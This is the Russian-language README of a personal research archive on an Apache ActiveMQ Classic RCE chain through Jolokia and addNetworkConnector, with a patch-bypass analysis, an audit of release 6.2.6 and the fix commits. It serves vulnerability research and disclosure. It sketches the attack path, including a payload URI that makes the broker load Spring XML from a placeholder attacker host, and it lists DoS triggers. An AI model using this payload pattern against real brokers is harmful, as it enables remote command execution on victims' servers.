Apache ActiveMQ Classic — RCE-исследование

Личный исследовательский архив по цепочке удаленного выполнения кода (RCE) в Apache ActiveMQ Classic через Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 и обход патча CVE-2026-42588), а также полный аудит с автоисследованием исправленного релиза 6.2.6 и сравнение с публичным описанием обхода от Crowdfense.

Вся эксплуатация выполнялась против локальных тестовых брокеров (Docker / собственный хостинг). В нагрузках используются плейсхолдеры хостов атакующего.

Содержание

Деревья исходного кода и бинарные дистрибутивы вендора, использовавшиеся в лабораторных работах, намеренно исключены (они принадлежат вышестоящему проекту, не нам).

Уязвимость в одной строке

Аутентифицированный (неаутентифицированный на 6.0.0–6.1.1 через CVE-2024-32114) вызывающий Jolokia выполняет BrokerView.addNetworkConnector(uri) с поддельным discovery URI, внутренняя часть vm://…?brokerConfig=xbean:<url> которого заставляет брокера загрузить подконтрольный атакующему Spring XML, который немедленно инициализирует бин ProcessBuilder до проверки брокера → выполнение команд ОС.

POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory динамическое создание брокера  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext загружает Spring XML  →  бин ProcessBuilder  →  RCE

Результаты

Главное: три находки доказаны вживую до root/XSS; аудит версии 6.2.6 добавляет более широкий набор, который верифицирован по исходникам и прошел adversarial-оценку, но не был детонирован вживую. Ни одна из дополнительных находок в 6.2.6 не является новым неаутентифицированным RCE — вендор закрыл эти двери; остаточный риск сместился в сторону авторизации и выходного кодирования.

Доказанная цепочка эксплуатации

Абсолютно новые из аудита 6.2.6 (верифицировано по исходникам)

Вне области — DoS (каталогизировано, не в заголовках)

Порядковое значение QoS MQTT AIOOBE (QoS.values()[ordinal], кросс-протокольно, без настройки) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException при распаковке OpenWire с signed-short · отрицательный AMQ_SCHEDULED_REPEAT → бессмертная задача.

Сравнение с материалом Crowdfense

Статья Crowdfense Apache ActiveMQ RCE Bypass описывает ту же цепочку (они относят её к CVE-2026-34197; мы выделяем обход как отдельный CVE-2026-42588). Оба описания сходятся на трёхуровневой защите; единственное расхождение — Уровень 2.

Одно упущение: трюк с процентным кодированием на Уровне 2 + UNC/WebDAV у них позволяет полностью удалённую доставку без примитива локальной записи. Ошибка классификатора, которую он использует (activemq-spring/Utils.java:123-129, грубая startsWith("file://") на нераскодированной строке) присутствует в нашем точном исходном коде — но удалённая половина работает только на Windows (Linux воспринимает //host/share как локальный путь), а наша лаборатория была на Linux, так что там это не было воспроизведено. В любом случае это не работает на 6.2.6 (ворота схемы VMTransportFactory отвергают xbean до запуска Utils).

Последующие действия: Windows-хостовый 5.19.6 (или любая сборка до 5.19.7/6.2.6) + слушатель SMB/WebDAV позволили бы нам продемонстрировать полностью удалённый обход белого списка — единственную возможность, которую статья имеет, но наше взаимодействие не показало.

Исправление (ActiveMQ 6.2.6)

Три коммита закрывают цепочку: c1b44af11 (проверка композитных URI без скобок — parseComposite безусловно + рекурсия), c2fc7a1d6 (блокировка XBeanBrokerFactory по умолчанию через белый список схем VMTransportFactory), и be8415f24 (усиление примера конфигурации: Jolokia на loopback, денлист операций с addNetworkConnector).